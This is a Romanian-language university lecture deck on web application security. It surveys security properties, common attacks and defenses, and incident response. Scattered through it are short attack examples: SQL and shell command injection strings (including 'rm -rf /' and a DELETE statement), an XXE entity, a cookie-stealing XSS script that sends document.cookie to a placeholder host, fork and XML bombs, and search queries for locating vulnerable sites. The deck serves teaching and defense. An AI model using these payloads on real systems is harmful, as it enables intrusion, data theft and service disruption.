Web 2016 (13/13) Securitatea aplicațiilor Web

Dr.SabinBuragaprofs.info.uaic.ro/~busaco/
Tehnologii Web
securitatea aplicațiilor Web
☣o prezentare generală

„Experiența este acel minunat lucru
care îți dă voie să recunoști o greșeală
pe care ai mai făcut-o.”
F.P. Jones

Ce înseamnă securitatea datelor?

securitatea datelor
Securitatea este procesul de menținere
a unui nivel acceptabil de risc perceptibil

Securitatea este procesul de menținere
a unui nivel acceptabil de risc perceptibil
“Security is a process, not an end state.”
Mitch Kabay
securitatea datelor

securitatea datelor
riscuri de securitate (Web application security risks)
conform OWASP – Open Web Application Security Project
www.owasp.org
cracker

securitatea datelor
Confidențialitatea
Autentificarea
Autorizarea
Integritatea
Nerepudierea
Intimitatea (privacy)
Disponibilitatea

securitatea datelor
Confidențialitatea
imposibilitatea unei terțe entități să aibă acces
la datele vehiculate între doi receptori

securitatea datelor
Confidențialitatea
soluție:
conexiuni private între cele 2 puncte terminale
ale canalului de comunicație
datele circulă printr-un tunel oferit de o rețea privată
virtuală (VPN – Virtual Private Network)

securitatea datelor
Confidențialitatea
HTTPS (HyperText Transfer Protocol Secure)
scop: criptare bidirecțională + autentificare „sigură”,
prevenind atacuri de tip man-in-the-middle și
interceptare/alterare de date (eavesdropping, tampering)
RFC 7230

securitatea datelor
Confidențialitatea
HTTPS (HyperText Transfer Protocol Secure)
HTTP over TLS (Transport Layer Security)
URL-urile folosesc schema https – port standard: 443

securitatea datelor
Confidențialitatea
soluție:
criptarea datelor via diverse abordări (algoritmi)
biblioteci specializate
și/sau oferite de mediile de dezvoltare (framework-uri)

securitatea datelor
Exemplificări de soluții criptografice la nivel de Web:
OpenSSL (bibliotecă C; numeroase portări)
Java Cryptography Architecture
CryptoJS – https://code.google.com/p/crypto-js/
System.Security.Cryptography (.NET Framework)
crypto (modul Node.js)
Mcrypt, phpseclib, Zend Framework Encryption (PHP)
Cryptography Toolkit (Python) – www.pycrypto.org/

securitatea datelor
Confidențialitatea
atenție: exploatarea vulnerabilităților bibliotecilor
exemplu (2014): heartbleed
slăbiciune majoră a bibliotecii open-source OpenSSL
http://heartbleed.com/
exemplificare (2015): FREAK
se baza pe vulnerabilități TLS ale browser-ului
https://freakattack.com/
avansat

securitatea datelor
Autentificarea
mecanism ce permite utilizatorilor să acceseze
un serviciu după verificarea identității
utilizatorului – uzual, pe bază de nume + parolă

securitatea datelor
Autentificarea
soluție:
serverul Web oferă suport pentru
autentificări de bază (basic authentication)
sau bazate pe algoritmi de tip digest – e.g., MD5, SHA-1,
SHA-2 (SHA-256, SHA-512 etc.), SHA-3
http://csrc.nist.gov/groups/ST/hash/

securitatea datelor
Autentificarea
exemplificări:
mod_auth_basic, mod_auth_digest, mod_authn_dbd,…
(module Apache)
http://httpd.apache.org/docs/howto/auth.html
ngx_http_auth_basic_module, ngx_http_auth_request_module
(module Nginx)
pentru alte soluții, de vizitat http://wiki.nginx.org/Modules
avansat

securitatea datelor
Autentificarea
soluție:
folosirea/implementarea unor servicii de autentificare
OpenID
utilizatorul poate demonstra că deține un URL specific
menit a-l identifica on-line via un ofertant de identitate
digitală (identity provider) – e.g., o aplicație Web socială
http://openid.net/get-an-openid/
avansat

securitatea datelor
Autorizarea
specifică acțiunile (rolurile) pe care un utilizator
ori o aplicație a utilizatorului
le poate realiza într-un anumit context

securitatea datelor
Autorizarea
specifică acțiunile (rolurile) pe care un utilizator
ori o aplicație a utilizatorului
le poate realiza într-un anumit context
asociată autentificării
permite definirea politicilor de control al accesului
la servicii (funcționalități)

securitatea datelor
Autorizarea
soluții:
drepturi de acces (permisiuni)
+
liste de control al accesului (ACL – Access Control List)
context: autorizarea accesului la datele disponibile
în cadrul unei aplicații Web – e.g., via OAuth
http://www.oauthsecurity.com/

securitatea datelor
Autorizarea
soluții:
controlul accesului bazat pe roluri
(RBAC – Role-Based Access Control)
exemplu:
un utilizator obișnuit cu rol de administrator
într-o situație specifică

securitatea datelor
Integritatea
în acest context, implică detectarea încercărilor
de modificare neautorizată (tampering)
a datelor transmise

securitatea datelor
Integritatea
soluții:
algoritmi de tip digest – exemple tipice: MD5, SHA-1
semnături digitale
(stocate, eventual, în format XML – XML Signature)
pot fi vehiculate și via mesaje SOAP

securitatea datelor
Nerepudierea
asigură faptul că expeditorul unui mesaj
nu poate afirma că nu l-a trimis

securitatea datelor
Nerepudierea
soluție:
certificate digitale
stochează date privind identitatea
unei entități deținătoare a unui secret:
parolă, serie a cărții de credit, certificat digital,…

securitatea datelor
PKI (Public Key Infrastructure)
infrastructura bazată de chei publice
set de resurse hardware, software, umane + politici și
proceduri pentru managementul certificatelor digitale
(creare, distribuție, utilizare, stocare, revocare)

securitatea datelor
certificate
authority
validation
authority
registration
authority
PKI permite utilizatorilor să comunice „sigur” într-o rețea
publică nesigură, inclusiv verificând identitatea unui
utilizator via certificate digitale emise de o autoritate
avansat

securitatea datelor
Web of trust – WOT
(Phil Zimmermann, 1992)
alternativă la PKI
recurge la PGP (Pretty Good Privacy)

securitatea datelor
o implementare vizând reputația siturilor Web
pe baza opiniilor utilizatorilor: www.mywot.com

securitatea datelor
Disponibilitatea
necesitatea ca o anumită resursă
să poată fi accesată la momentul oportun

securitatea datelor
Disponibilitatea
necesitatea ca o anumită resursă
să poată fi accesată la momentul oportun
aspect de interes: calitatea unui serviciu
stipulată via SLA (Service-Level Agreement)
uptime, average speed to answer, turn-around time,
abandonment rate, mean time to recover,…
avansat

`
securitatea datelor
avansat
gradul de disponibilitate a unor servicii Web

securitatea datelor
Disponibilitatea
cauze ale indisponibilității:
atacuri de refuz al serviciilor DoS (Denial of Service)
atacuri distribuite de tip DDoS (Distributed DoS)
implementare precară

securitatea datelor
Intimitatea
vizează drepturile ce trebuie respectate privind
caracterul (subiectul) datelor vehiculate
confundată, deseori, cu confidențialitatea
http://privacy.org/

securitatea datelor
Intimitatea
breșe:
stocarea necorespunzătoare a datelor
la nivel de server – information disclosure
atacuri de tip XSS (Cross-Site Scripting)
atacuri de tip phishing – www.honeynet.org/papers/phishing/
configurarea neadecvată a sistemelor

securitatea datelor
Securitatea Web trebuie să ia în considerație:
clientul
interacțiunea cu utilizatorul
date personale stocate: cookie-uri, date off-line, cache,…
transferurile asincrone – Ajax/Comet ori WebSocket-uri
rularea (neautorizată) a programelor JavaScript
existența plugin-urilor/extensiilor suspecte
…

securitatea datelor
datele aflate în tranzit
securitatea rețelei (cu/fără fir)
schimbul sigur de mesaje între diverse entități
nerepudierea datelor
…

securitatea datelor
serverul
securitatea serverului/serverelor Web
securitatea aplicațiilor, framework-urilor, bibliotecilor,…
disponibilitatea serviciilor oferite

securitatea datelor
clientul
datele aflate în tranzit
serverul
atacurile pot viza oricare din cele 3 aspecte!

securitatea datelor
Vulnerabilități
slăbiciuni ale unui sistem hardware/software ce permit
utilizatorilor neautorizați să aibă acces asupra lui
pot apărea și datorită unei administrări precare

securitatea datelor
Vulnerabilități
niciun sistem nu este 100% sigur

Cum are loc un atac privind securitatea?

atacuri
Examinarea mediului
identificarea porturilor/serviciilor publice
descoperirea tipurilor + versiunilor aplicațiilor
generarea de erori + examinarea mesajelor obținute
găsirea de informații sensibile:
cod-sursă, comentarii, câmpuri ascunse ale formularelor,…

utilizarea instrumentului BuiltWith
pentru inspectarea tehnologiilor folosite de un sit Web:
http://builtwith.com/

atacuri
Stabilirea țintei atacului
mecanismul de autentificare (login)
câmpurile formularelor Web
managementul sesiunilor
infrastructura folosită – serverele de stocare a datelor,
serviciile adiționale (e.g., proxy),…

atacuri
La nivel de HTTP
analizarea pachetelor de date (network sniffing):
funcționează pentru fluxuri de date HTTP necriptate
o soluție de prevenire:
HTTPS – folosirea HTTP peste (W)TLS
(Wireless) Transport Layer Security

atacuri
La nivel de HTTP
deturnarea sesiunilor (session hijacking):
atacatorul determină SID-ul utilizatorului și
îl folosește în scop propriu
exemplu: analizarea câmpului Referer
Referer: https://www.ebank.info/view/account?id=98151
&jsessid=BAC13606AC22B81E5137F45F95EE7573

atacuri
La nivel de HTTP
deturnarea sesiunilor (session hijacking):
atacatorul determină SID-ul utilizatorului și
îl folosește în scop propriu
soluții clasice de prevenire:
eliminarea SID-ului din URL
stocarea SID-ului în câmpul User-Agent
utilizarea unui SID variabil

atacuri
SQL injection
presupune scrierea unor interogări SQL care permit
afișarea, alterarea, ștergerea de date din baze de date
via formulare Web ori direct, folosind URL-uri
pentru detalii, a se consulta Testing for SQL Injection:
www.owasp.org/index.php/Testing_for_SQL_Injection_%28OTG-INPVAL-005%29

atacuri
SQL injection – exemplu:
select * from customers where name=$name and pass=$pass
cu $name preluat din formular având valoarea '' or 1=1 --

atacuri
http://e-banking.org/access_client.php?client=3
în script: select credit_card from clients where client=$client

atacuri
http://e-banking.org/access_client.php?client=3
în script: select credit_card from clients where client=$client
ce se întâmplă dacă URL-ul este
http://www.sit.org/access_client.php?client=client ?
dar dacă în loc de select apărea comanda delete ?

atacuri
SQL injection
variații:
crearea de interogări SQL incorecte
pentru a avea acces la mesaje de eroare „interesante”

atacuri
http://www.sit.org/search?id=1+OR+xy=1
se poate obține un mesaj precum:
[Microsoft][ODBC SQL Server Driver] [SQL Server] Invalid column name 'xy'.
SELECT group_id, securityName, maxSalesCharge, price,
security_id, trade_date FROM funds
WHERE group_id = 1 OR xy=1 ORDER BY price DESC

atacuri
http://www.sit.org/search?id=1+OR+xy=1
se poate obține un mesaj precum:
[Microsoft][ODBC SQL Server Driver] [SQL Server] Invalid column name 'xy'.
SELECT group_id, securityName, maxSalesCharge, price,
security_id, trade_date FROM funds
WHERE group_id = 1 OR xy=1 ORDER BY price DESC
atacatorul poate continua – de pildă – cu:
http://www.sit.org/search?id=1;DELETE+FROM+funds+--

atacuri
SQL injection
soluții de prevenire:
„neutralizarea” meta-caracterelor SQL,
prepared statements, utilizarea de framework-uri ORM
(Object-Relational Mapping), proceduri stocate,…
$sql = "select * from users
where user = '" . $user . "'";
$rezultat = $db.query
("select * from users
where user = ?", $user);
corectincorect

atacuri
SQL injection
soluții de testare a vulnerabilităților (penetration tools):
Blind Sql Injection – https://code.google.com/p/bsqlbf-v2/
sqlmap – http://sqlmap.org/
SQL Ninja – http://sqlninja.sourceforge.net/
SQL Power Injector – http://www.sqlpowerinjector.com/
avansat

atacuri
NoSQL injection
exploatarea limbajului de programare disponibil în cadrul
serverului NoSQL, inclusiv slăbiciunile API-ului oferit
și/sau formatul de transfer al datelor (JSON, XML)
exemplificare: Hacking Node.js and MongoDB (2014)
http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html
pentru detalii, a se parcurge
https://www.owasp.org/index.php/Testing_for_NoSQL_injection
avansat

atacuri
Shell command injection
posibilitatea de a rula comenzi externe via script-uri CGI
exemplu: fie liniile Perl dintr-un script CGI
$utiliz = $form{"nume"};
print `finger $utiliz`;
ce se întâmplă dacă din formular se preia root; rm –rf / ?

atacuri
Shell command injection
idem și pentru programe scrise
în alte limbaje interpretate
(e.g., PHP, Python, Ruby) sau chiar cele C
soluție de prevenire:
inhibarea folosirii funcțiilor system (), exec () etc.

atacuri
SQL injection + command injection
utilizarea SQL pentru execuția la nivel de shell
de comenzi din cadrul serverului de baze de date
exemplu:
SELECT * FROM users WHERE name = 'tuxy' AND
pass = ' '; xp_cmdshell 'taskkill /F /IM sqlservr.exe' --'

atacuri
XPath injection
recurgerea la expresii XPath pentru acces la date
într-un document XML sau pentru a realiza
diverse acțiuni via funcții XPath
consecințe și asupra transformărilor XSLT
considerate malignepot cauza, de exemplu, DoS
detalii la www.agarri.fr/blog/

atacuri
Path traversal
posibilitatea de accesare a unor zone nepermise
ale sistemului de fișiere – i.e., în afara directoarelor
în care rezidă aplicația Web
exemplificare:
http://e-photos.info/listphotos.jsp?dir=../../

atacuri
Path traversal
posibilitatea de accesare a unor zone nepermise
ale sistemului de fișiere – i.e., în afara directoarelor
în care rezidă aplicația Web
exemplu în contextul XML (XXE – XML External Entity):
http://cwe.mitre.org/data/definitions/611.html
<!DOCTYPE doc [ <!ENTITY xxe SYSTEM "file:///tmp/sessions/..."> ]>
avansat

atacuri
Exemplificare reală – atac asupra PostgreSQL
conectare cu privilegii reduse
preluare global/pg_auth prin XXE
suprascrierea acestui fișier via XSLT
re-conectare cu privilegii de administrator
restaurare global/pg_auth via XSLT
lansare postgres_payload.rb – resursă oferită
de proiectul Metasploit: www.metasploit.com
avansat

atacuri
Poisonous null-byte attack
folosirea caracterului NULL pentru plasarea
de script-uri pe server ce ulterior pot fi executate
exemplu:
upload-ul unei „imagini” – img.php%00.jpg
“Thank you! See your picture at img.php”

atacuri
Cross-Site Scripting (XSS)
permite „injectarea” în cadrul sistemului,
pentru execuția direct în browser,
a programelor JavaScript
funcționează mai ales în cadrul siturilor Web interactive
(e.g., forumuri, blog-uri, wiki-uri)

atacuri
stored XSS
atacatorul injectează un script JS (denumit și payload)
care e stocat permanent în cadrul aplicației țintă
e.g., în baza de date a aplicației Web
de tip CMS (Content Management System)
avansat

atacuri
reflected XSS
script-ul de tip payload este transmis de serverul Web
al atacatorului ca parte a unui mesaj de răspuns HTTP
(script-ul malițios e livrat de la distanță fiecărei victime)
utilizatorul e persuadat să viziteze un URL special
via tehnici de social engineering (e-mail, rețele sociale,…)
avansat

atacuri
DOM-based XSS
payload-ul este stocat – în urma unei manipulări ilegale
(referențiere și utilizare) a codului JS –
în arborele DOM disponibil la nivel de browser
avansat

atacuri
Cross-Site Scripting (XSS) – exemple tipice:
<img src="javascript:cod" />
redirecționează utilizatorul spre alt sit,
preia valori de cookie-uri ori blochează browser-ul
includerea de cod malițios (malware)
spre a fi executat la nivel de browser
via elemente precum <embed>, <img> sau <object>

atacuri
Cross-Site Scripting (XSS) – alte acțiuni malefice:
<script type="text/javascript">
document.location.replace (
"http://www.sit.org/furt.php" + "?c=" + document.cookie);
</script>
furtul de cookie-uri
(hijacking cookies)
avansat

atacuri
for (contor = 0; contor < 3000; contor++)
window.open ("http://www.sit.org/");
</script>
tentativă de blocare
a browser-ului/
sistemului
avansat

atacuri
setInterval (function () {
var w = window.open ();
w.document.write (document.documentElement.outerHTML ||
document.documentElement.innerHTML);
}, 33);
</script> crearea recursivă de
ferestre via DOM
în stilul fork bomb
avansat

atacuri
pentru alte exemple reale, a se consulta http://xssed.com/
poate fi folosit pentru plasarea de programe malware
în cadrul unei aplicații Web – e.g., cod jQuery fals
https://blog.sucuri.net/category/website-malware-infections/
avansat

atacuri
oferă premisele eludării politicii privind interacțiunea
dintre script-urile la nivel de client și resursele
din același domeniu Internet: same-origin policy
uzual, un program aflat pe sit.org nu poate obține date
dintr-o pagină Web aparținând domeniului altsit.org
avansat

atacuri
Cross-Site Request Forgery (CSRF)
forțează utilizatorul autentificat în cadrul unei aplicații
să execute acțiuni nedorite – e.g., alterarea datelor
cazuri concrete:
preluarea listei persoanelor de contact
pentru un utilizator autentificat la GMail (2007)
modificarea adresei poștale + închirierea de filme
de către persoanele având cont la Netflix (2006)

atacuri
Cross-Site Request Forgery (CSRF)
poate conduce și la furtul identității (phishing)
sau la plasarea de cod malware la client
www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
soluție de contracarare: biblioteca CSRFGuard
(implementări Java, PHP, .NET)

atacuri
Cross Site History Manipulation (CSHM)
breșă de securitate exploatând same origin policy,
ce permite manipularea istoricului navigării
de către un program malițios – e.g., detectarea stării de
autentificare a utilizatorului pe un sit, user tracking,
acces la parametrii asociați unui URL,…
http://tinyurl.com/qyurynm

atacuri
Alte atacuri Web de tip phishing
folosirea de cod JavaScript pentru a modifica textul redat
de navigatorul Web utilizatorului sau pentru a manipula
utilizatorul să viziteze legături ascunse
http://jeremiahgrossman.blogspot.com/2008/09/cancelled-clickjacking-owasp-appsec.html
clickjacking

atacuri
folosirea de cod JavaScript pentru a genera într-un tab al
navigatorului o replică a unui formular de autentificare
în cadrul unei aplicații – e.g., Facebook, GMail
http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/
tabnabbing

atacuri
adoptarea de tehnici de social engineering:
manipularea utilizatorilor – inclusiv furtul de parole
prin intimidare, șantaj, autoritate, flatare,
substituție de persoană, vanitate etc.
http://www.social-engineer.org/

atacuri
Exemplu real:
folosind o vulnerabilitate XSS în filtrul HTML al MySpace,
atunci când un utilizator vizualiza profilul lui Tuxy,
codul JavaScript îl făcea automat prieten al lui Tuxy +
recurgea la Ajax pentru a insera script-ul malefic
în profilul curentsocial network worm (2005)
http://namb.la/popular/tech.html
după 20 de ore, 1005831 cereriMySpace s-a „prăbușit”

atacuri
Alt exemplu real:
slăbiciune XSS detectată în aplicația GMail pentru iOS
(Roy Castillo, octombrie 2013)
http://goo.gl/agbZz3

atacuri
Alt exemplu real:
Google UTF-7 hole
paginile 404 oferite de Google nu specificau
codul de caractere utilizat
atacurile XSS codificate ca UTF-7 puteau fi accesate și
executate în cadrul Internet Explorer:
http://shiflett.org/blog/2005/dec/googles-xss-vulnerability

atacuri
Soluții de contracarare:
inhibarea folosirii marcajelor HTML
HTML escaping via o bibliotecă specializată
filtrarea marcatorilor
separarea prezentării datelor de procesarea efectivă
etc.
www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

atacuri
Probleme cauzate de URI/IRI-uri
inducerea în eroare a utilizatorului
asupra domeniului Internet a sitului Web
exemplu: http://www.reddit.com@63.241.3.69/
+
codificarea defectuoasă a codurilor hexa
vulnerabilități în cadrul unor servere Web

atacuri
Probleme cauzate de URI/IRI-uri
includerea caracterelor Unicode
probleme la decodificarea URL-urilor considerate „sigure”
siturile având domenii internaționale
(IDN – International Domain Names)
atacuri bazate pe homografie
http://www.unicode.org/reports/tr36/

atacuri
Probleme privind folosirea parolelor
majoritatea proceselor de autentificare utilizează parole

atacuri
cu cât utilizatorul trebuie să rețină mai multe parole,
cu atât sistemul de autentificare via parole e predispus
la breșe de securitate:
alegerea unor parole slabe, folosite timp îndelungat
partajarea parolelor în grupuri de prieteni/colegi
scrierea parolelor pe hârtie – eventual, la vedere
recurgerea la aceeași parolă pentru aplicații Web multiple

atacuri
exemplu de atac:
brute-force asupra Twitter
descoperirea parolei “happiness”
asociată unui cont cu drepturi de administrare
soluție tipică de prevenire:
conturi de administrare separate de conturile normale

atacuri
Troienii Web
situri/aplicații Web aparent folositoare,
la care utilizatorul poate ajunge
eventual via redirectare automată
suplimentar, pot recurge la XSS/CSRF
sau la tehnici de tip social engineering

atacuri
Troienii Web
exemple: antiviruși falși, achiziții online de produse
farmaceutice, software modificat de căutare pe Web
reclame abuzive (large-scale abusive advertising)
+
escrocare via plăți electronice
(via card de credit ori BitCoin)
http://cseweb.ucsd.edu/~savage/papers/CCS12Priceless.pdf

atacuri
Troienii Web
soluție de prevenire:
recurgerea la un sistem de tichete (ticket system, crumbs)
fiecare acțiune ce poate fi realizată de utilizator
are asociat un tichet (număr) aleatoriu,
ce va fi folosit o singură dată
avansat

atacuri
Exemple (2015):
injectarea de biblioteci JS „măsluite”
în cadrul CMS-urilor – e.g., Joomla, Wordpress,…
Fake jQuery Scripts in Nulled WordPress Plugins
blog.sucuri.net/2015/05/fake-jquery-scripts-in-nulled-wordpress-pugins.html
jQuery.min.php Malware Affects Thousands of Websites
blog.sucuri.net/2015/11/jquery-min-php-malware-affects-thousands-of-websites.html

atacuri
Refuz de servicii (denial of service)
exploatarea unor componente ale aplicației astfel încât
funcționalitățile să nu poată fi oferite clienților reali
uzual, inițierea de procesări recursive
(eventual, via programe care se autoreproduc)

atacuri
Refuz de servicii (denial of service)
exploatarea unor componente ale aplicației astfel încât
funcționalitățile să nu poată fi oferite clienților reali
uzual, inițierea de procesări recursive
(eventual, via programe care se autoreproduc)
fork bomb – e.g., în Ruby: loop { fork { __FILE__ } }
XML bomb
zip bomb – http://research.swtch.com/zip
avansat

Exemplu real (billions of lols)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1; &lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
…
]>
<lolz>&lol9;</lolz>
detalii în articolul B. Sullivan,
XML Denial of Service Attacks and Defenses (2009)
http://msdn.microsoft.com/en-us/magazine/ee335713.aspx

atacuri
Ransomware
încetarea unui tip de atac asupra unui sit Web – de pildă,
DDoS sau decriptarea conținutului – dacă proprietarul
plătește o „taxă de protecție” (folosind Bitcoin)
exemplificări concrete:
https://blog.sucuri.net/2015/12/ddos-extortions-campaigns.html

atacuri
Ransomware
ghid de prevenire (martie 2016):
www.owasp.org/images/a/a8/Anti-RansomwareGuide.pdf
detecție via capcane – honeypots (aprilie 2016):
Using honeypots to spot ransomware infections
www.owasp.org/images/0/03/OWASP_RansomwareHoneypots.pptx

atacuri
Tentative de acces la resurse presupus vulnerabile
ori la secțiuni de administrare a unui sit Web
208.113.197.80 GET /wp-admin/
5.196.16.176 GET /~jromai/romaijournal//images/stories/post.gif
185.22.64.241 GET /~busaco/docs/jdownloads/screenshots/has.php.j?rf
5.196.16.176 POST /index.php?option=com_jce&task=plugin&file=imgmanager&
method=form&cid=20&6bc427c8a7981f4fe1f5ac65c=cf6dd3cf1923c950586
38.87.45.121 GET /~vcosmin/WikiLogica/index.php?title=BuckYoung847
74.220.207.111 GET /wp-admin/admin-ajax.php?action=revslider_ajax_action
74.220.207.111 GET /index.php?gf_page=upload
195.30.97.113 POST //index.php?option=com_jdownloads&Itemid=0&view=upload
5.153.237.232 POST /~flash/wiki/index.php?title=Special:Userlogin&action=submitlogin
46.102.103.137 POST /~flash/wiki/index.php?title=Special:Userlogin&action=submitlogin

(în loc de) pauză
AlexDempsey(2016)–http://rosiannarabbit.com/

atacuri
Detectarea posibilelor vulnerabilități
– datorate unor configurații incorecte/implicite
ale serverelor și/sau aplicațiilor Web –
se poate realiza apelând la un motor de căutare
vezi și proiectul Google Hack Honeypot (2007)
http://ghh.sourceforge.net/
alte resurse de interes la http://www.honeynet.org/

atacuri
Exemple de acțiuni:
detecția versiunilor de programe cu bug-uri cunoscute:
"Apache/2.0.52 server at"
accesul la fișiere .bak: inurl:index.php.bak
detectarea paginilor de administrare: "admin login"
instalări implicite: intitle:"welcome to" intitle:internet IIS

atacuri
Exemple de acțiuni:
localizarea interfețelor spre sisteme de baze de date:
inurl:main.php phpMyAdmin
căutarea de aplicații ori a fișierelor de jurnalizare:
inurl:error.log +filetype:log –cvs
mesaje de eroare generate de aplicații ori servere
de baze de date: "ASP.NET_SessionId" "data source="
procesări XML externe: inurl:"xslurl=http"

atacuri
alternativă: căutarea de programe potențial vulnerabile
în depozite de cod-sursă disponibile public
cazul GitHub: detecția execuției de cod – e.g., exec($_GET
github.com/search?q=exec%28%24_GET&ref=cmdform&type=Code

prevenirea
Studiu de caz: securizarea serverului Apache
eliminarea modulelor care nu sunt esențiale
mod_autoindex, mod_dav, mod_info, mod_includes, mod_status,…
restrângerea permisiunilor implicite pentru
directoarele /, /var/www/html (directorul root al sitului),
directoarele (public_)html/ ale utilizatorilor
rularea serverului ca utilizator cu drepturi minime,
cu limitarea accesului la resursele sistemului
avansat

prevenirea
„imunizarea” fișierelor de configurare importante
rularea Apache într-un chroot jail
eliminarea generării „semnăturii” serverului
pentru paginile generate automat:
ServerSignature Off si ServerTokens Prod
recurgerea la mod_ssl pentru conexiuni HTTPS
avansat

prevenirea
verificarea/ajustarea permisiunilor fișierelor publice
limitarea/inhibarea upload-urilor de fișiere
limitarea folosirii .htaccess de utilizatorii obișnuiți
interzicerea accesului la tabela users la MySQL
configurarea serverelor de aplicații să nu trimită
browser-ului mesajele de eroare – la PHP: display_errors off
avansat

prevenirea
rularea script-urilor în mod „sigur”
Perl în taint mode, PHP: safe_mode on, allow_url_fopen off
semnarea codului ca fiind „sigur” – pentru Java/.NET
actualizarea sitului doar prin metode securizate:
ssh, scp, sftp
pentru reguli de bună practică, a se consulta
http://httpd.apache.org/docs/2.4/misc/security_tips.html
avansat

prevenirea
La nivel de servere de aplicații/platforme Web
exemplificări diverse:
ASP.NET – https://github.com/aspnet/Security
Node.js – https://nodesecurity.io/
PHP – http://phpsecurity.readthedocs.org/
Python – http://www.pythonsecurity.org/
Ruby on Rails – http://tinyurl.com/pbmzgm8
avansat

Modalități de supraviețuire în caz de atac?

supraviețuirea
Sistemul trebuie să-și ducă până la capăt misiunea
chiar dacă unele componente sau părți din sistem
sunt afectate ori scoase din uz
exemplu:
oferirea unei copii read-only a conținutului

supraviețuirea
Sistemul trebuie să susțină măcar îndeplinirea
funcționalităților vitale (mission-critical)
identificarea serviciilor esențiale
e.g., acces la lista produselor la un sit de comerț electronic

supraviețuirea
Proprietăți ale sistemului:
rezistența la atacuri
recunoașterea atacurilor și efectelor lor
adaptarea la atacuri

supraviețuirea
Rezistența la atacuri
strategii de respingere a atacului:
validarea obligatorie a datelor
autentificarea utilizatorilor
acordarea privilegiilor minime
acces la servicii Web ori API-uri pe baza unei chei
…
avansat

supraviețuirea
Recunoașterea atacurilor si efectelor lor
strategii pentru restaurarea datelor,
limitarea efectelor, menținerea/restaurarea
serviciilor compromise
ferme de servere Web (Web farms), eventual în cloud
RAID (Redundant Array of Independent Disks)
SAN (Storage Area Network)
copii de siguranță (backup-uri): complete sau incrementale
…
avansat

supraviețuirea
Adaptarea la atacuri
strategii pentru îmbunătățirea nivelului (șansei)
de supraviețuire
analiză (auditare)
învățarea din greșeli
recurgerea la expertiza unor companii specializate
…
avansat

răspunsul la incidente
Răspunsurile agresive – e.g., hack back –
sunt prohibite
avansat

Răspunsurile agresive – e.g., hack back –
sunt prohibite
uzual, se recurge la metodologia SANS
(System Administration, Networking, and Security)
etape:
pregătireidentificarecontrolul efectelor (containment)
eradicarerecuperarecontinuare (follow-up)
www.sans.org/security-resources/
avansat

Forensics
proces de „prindere” a cracker-ilor
investigation of digital evidence
for use in criminal or civil courts of law
http://forensicswiki.org/
avansat

Forensics
uzual, are loc după un incident de securitate
implică analizarea hardware-ului (discuri, RAM),
„deșeelor” (information detritus), log-urilor,
fișierelor de configurare și altele
diverse instrumente software:
http://www.cert.org/digital-intelligence/tools/
http://resources.infosecinstitute.com/computer-forensics-tools/
avansat

Forensics
acțiunea de „ștergere” a urmelor = anti-forensics
o serie de detalii la
http://forensicswiki.org/wiki/Anti-forensic_techniques
avansat

monitorizare & testare
Teste de verificare a…
capacității de deservire a clienților
robusteței
rulării în situații extreme

Se iau în considerație:
tipul navigatorului (+setările implicite)
platforma: hardware, sistem de operare,...
interfața: rezoluția ecranului, adâncimea de culoare,…
politica de caching (+siguranța proxy-ului)
suportul pentru redarea unor tipuri de documente
(securitatea folosirii plugin-urilor)
limbajul/limbajele de programare utilizate
(inclusiv serverul/serverele de aplicații, bibliotecile etc.)

Teste specifice legate de programare:
depășiri de buffer-e
exemplu: lungimea URI-urilor trimise de client
caz real:
Apple iTunes for Windows (versiunea < 8.2) permitea
execuția de cod arbitrar la utilizarea schemei URL itms:
http://www.securitytracker.com/id/1022313
avansat

probleme de prelucrare (parsing)
procesarea URI-urilor, a datelor primite via formulare,
cookie-uri, entităților (X)HTML, datelor XML,
cererilor HTTP, XML-RPC și SOAP,
interogărilor SQL, datelor JSON etc.
avansat

probleme de conversie a datelor
de exemplu, ASCII  Unicode
reguli de bună practică:
RFC 5137 – https://tools.ietf.org/html/rfc5137
avansat

probleme de redare a datelor
exemplificare:
afișarea perechii nume prenume atunci când
nume="<script>document.location="
prenume="'un_uri'</script>"
avansat

probleme de escaping
exemplu:
escaping pentru șirul cs/b
cs%2Fb
cs%%252Fb
cs%25%32%46b
avansat

probleme de escaping
„injectare” directă a datelor via URI sau prin intermediul
interfeței Web sau via un fișier (upload ilegal)
ori folosind un program
(e.g., de administrare la distanță a aplicației),...
verificarea escaping-ului via instrumente dedicate
un exemplu: http://www.htmlescape.net/
avansat

Soluții și strategii:
programare defensivă
(defensive programming)
adoptarea standardelor de redactare a codului
(enforcing coding standards)
recurgerea la unități de testare
(testing units)

Soluții și strategii:
includerea unui sistem de prevenire, detectare
și raportare a erorilor survenite în cod
+ un sistem de urmărire a bug-urilor (bug tracking)
folosirea unui sistem de control al versiunilor
a se revedea cursul
privitor la inginerie Web

Teste specifice legate de intimitate (privacy):
